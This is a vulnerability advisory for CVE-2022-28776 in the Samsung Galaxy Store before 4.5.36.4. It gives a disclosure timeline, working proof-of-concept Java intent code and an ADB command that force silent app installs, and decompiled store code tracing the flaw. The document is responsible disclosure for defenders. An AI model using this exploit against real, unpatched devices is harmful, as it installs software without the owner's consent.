Samsung Galaxy - Any App Can Install Any App In The Galaxy App Store

CVE-2022-28776

    Type

  • Automatic Application Install
  • Severity

  • High
  • Affected products

  • Galaxy Store Prior To Version 4.5.36.4
  • Remediation

  • Samsung has released the Galaxy Store version 4.5.36.4 which addresses this issue. Users should update their Galaxy Store application to the latest version available.
  • Credits

  • This issue was discovered by Ken Gannon.
Timeline
17/10/2021Issue disclosed to Samsung Mobile Security
17/10/2021Issue assigned to a Samsung Security Analyst
22/11/2021Samsung confirms the vulnerability and rates it as a high risk issue
13/02/2022 Patch released, Samsung initiates process for bug bounty reward
12/04/2022CVE Assigned
04/05/2022Advisory Published

Description

F-Secure looked into exploiting the Samsung Galaxy S21 device for Austin Pwn2Own 2021. The Galaxy App Store contained an issue with how it handled specific intents. When an intent was sent to one of three exported activities, the Galaxy App Store would create a new intent, while taking all of the calling intent's extras and packaging them with the new intent. This new intent could then be manipulated in such a way that the Galaxy App Store would be forced to automatically install other applications onto the victim's device without consent.

The Exploit

The following exported activities could have been used to exploit this issue:

  • com.sec.android.app.samsungapps.viewpager.InterimActivity

  • com.sec.android.app.samsungapps.interim.essentials.InterimEssentialsActivity

  • com.sec.android.app.samsungapps.downloadableapps.DownloadableAppsActivity

As an example, the following Java code could have been used by a third party application to automatically install the application "Pokemon Go". This code uses the Java class com.sec.android.app.samsungapps.viewpager.InterimActivity:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.sec.android.app.samsungapps", "com.sec.android.app.samsungapps.viewpager.InterimActivity"));
intent.putExtra("directcall", true);
intent.putExtra("isInternal", true);
intent.putExtra("directInstall", true);
intent.putExtra("installReferrer", "com.sec.android.app.samsungapps");
intent.putExtra("directOpen", true);
intent.putExtra("GUID", "com.nianticlabs.pokemongo.ares");
startActivity(intent);

Alternatively, the following ADB command could have been used to install the application "Pokemon Go". This command also uses the Java class com.sec.android.app.samsungapps.viewpager.InterimActivity:

am start -n com.sec.android.app.samsungapps/com.sec.android.app.samsungapps.viewpager.InterimActivity --ez directcall true --ez isInternal true --ez directInstall true --es installReferrer com.sec.android.app.samsungapps --ez directOpen true --es GUID com.nianticlabs.pokemongo.ares

Technical Details

Each of the exploitable exported classes contains code that parses the calling intent and creates:

  • a data URI that starts with samsungapps://CategoryList/

  • extracts the intent extras and adds an additional extra Boolean isFromInterim and sets it to True (though this extra does not get used later)

The data URI and extras are passed to class com.sec.android.app.util.DeeplinkUtil method openInternalDeeplink. To show this, below is the code found in class com.sec.android.app.samsungapps.interim.essentials.InterimEssentialsActivity method a:

private void a() {
Bundle extras = getIntent().getExtras();
if (extras == null) {
extras = new Bundle();
}
extras.putBoolean(DeepLink.EXTRA_DEEPLINK_IS_FROM_INTERIM, true);
DeeplinkUtil deeplinkUtil = new DeeplinkUtil(this);
deeplinkUtil.openInternalDeeplink("samsungapps://CategoryList/" + Constant.GALAXY_ESSENTIALS, extras);
}

openInternalDeepLink creates a new intent, adds the previously captured extras to the intent and adds an extra string sender value of com.sec.android.app.samsungapps. Thenewly created intent is sent to class com.sec.android.app.samsungapps.deeplink.DeepLinkFactory method createDeepLink which will return a deeplink, and set the deeplink as an internal deeplink:

public boolean openInternalDeeplink(String str, Bundle bundle) {
if (!Common.isValidString(str)) {
return false;
}
Intent intent = new Intent();
intent.putExtra("sender", this.activity.getPackageName());
intent.setData(Uri.parse(str));
if (bundle != null) {
intent.putExtras(bundle);
}
DeepLink createDeepLink = DeepLinkFactory.createDeepLink(intent);
if (createDeepLink == null) {
return false;
}
createDeepLink.setIsInternal(true);
DeeplinkManager.getInstance().setInternalDeeplink(true);
DeepLinkFactoryUtil.sendDeeplinkLaunchingLog(createDeepLink.getDeeplinkUrl(), true);
return createDeepLink.runInternalDeepLink(this.a);
}

createdeeplink creates a “Product Detail Deeplink” deeplink. This deeplink contains all of the extras that were set in the intent:

public static DeepLink createDeepLink(final Intent intent) {
try {
final boolean booleanExtra = intent.getBooleanExtra("directcall", false);
final String stringExtra = intent.getStringExtra("GUID");
final Bundle extras = intent.getExtras();
if (booleanExtra && stringExtra != null && stringExtra.length() != 0) {
final StringBuilder sb = new StringBuilder();
sb.append("[GADeepLink] ::directcall::");
sb.append(stringExtra);
AppsLog.d(sb.toString());
return DeepLinkFactoryUtil.createProductDetailDeepLink(stringExtra, extras);
}

DeepLink parameters are set via class com.sec.android.app.samsungapps.utility.deeplink. DeepLink which sets different values based on the passed intent extras, such as directInstall:

public void initialize(Bundle bundle) {
...
this.u = getBundleBoolean(bundle, EXTRA_DEEPLINK_DIRECT_INSTALL, false);
...

The application then automatically processes the newly created "Product Detail Deeplink" deeplink as if it was a standard deeplink. While processing, the class com.sec.android.app.samsungapps.deeplink. DetailPageDeepLink method runInternalDeeplink is called, which looks for intent extras such as directInstall:

public boolean runInternalDeepLink(Context context) {
AppsLog.d(this.a + "::runInternalDeepLink::");
if (launchApp(context, getDetailID())) {
return true;
}
if (this.isStickerApp) {
DetailPageHelper.launchStickerDetailFromDeeplink(context, getDetailID(), this.d, getAdSource(), getDeeplinkUrl());
return true;
}
DetailConstant.DETAIL_TYPE detail_type = DetailConstant.DETAIL_TYPE.COMMON;
    if (isForGear()) {
        detail_type = DetailConstant.DETAIL_TYPE.GEAR;
    } else if (a()) {
        detail_type = DetailConstant.DETAIL_TYPE.GAME;
    }
    DetailPageHelper.launchDetailFromDeeplink(context, getDetailID(), detail_type, this.mSignId, this.mQueryStr, getAdSource(), this.b, getSender(), isDirectInstall(), isDirectOpen(), getType(), this.f, getDeeplinkUrl(), this.mEncodedReferrer);
    return true;
}

Similar to the bug outlined in https://labs.f-secure.com/advisories/samsung-galaxy-one-tap-install-malicious-application, class com.sec.android.app.samsungapps.deeplink.DetailPageDeepLink method putDetailCommonExtra is eventually called again:

public void putDetailCommonExtra(Context context) {
    ...
    if (isDirectInstall() && appManager.enableDDI(getSender(), getDetailID(), DeeplinkManager.getInstance().getInternalDeeplink())) {
        this.intent.putExtra(DeepLink.EXTRA_DEEPLINK_DIRECT_INSTALL, isDirectInstall());
        this.intent.putExtra("sender", getSender());
    }

enableDDI is called again, but this time it will return true due to the calling intent being an internal deeplink:

public boolean enableDDI(String sender, String appId, boolean isInternalDeeplink) {
    if (isDDITestMode()) {
        return true;
    }
    if ((!isGalaxyStore(sender) || !isInternalDeeplink) && !isWhiteListAppForOneClick(sender, appId)) {
        return false;
    }
    return true;
}

Since enableDDI returns true, the target application gets installed.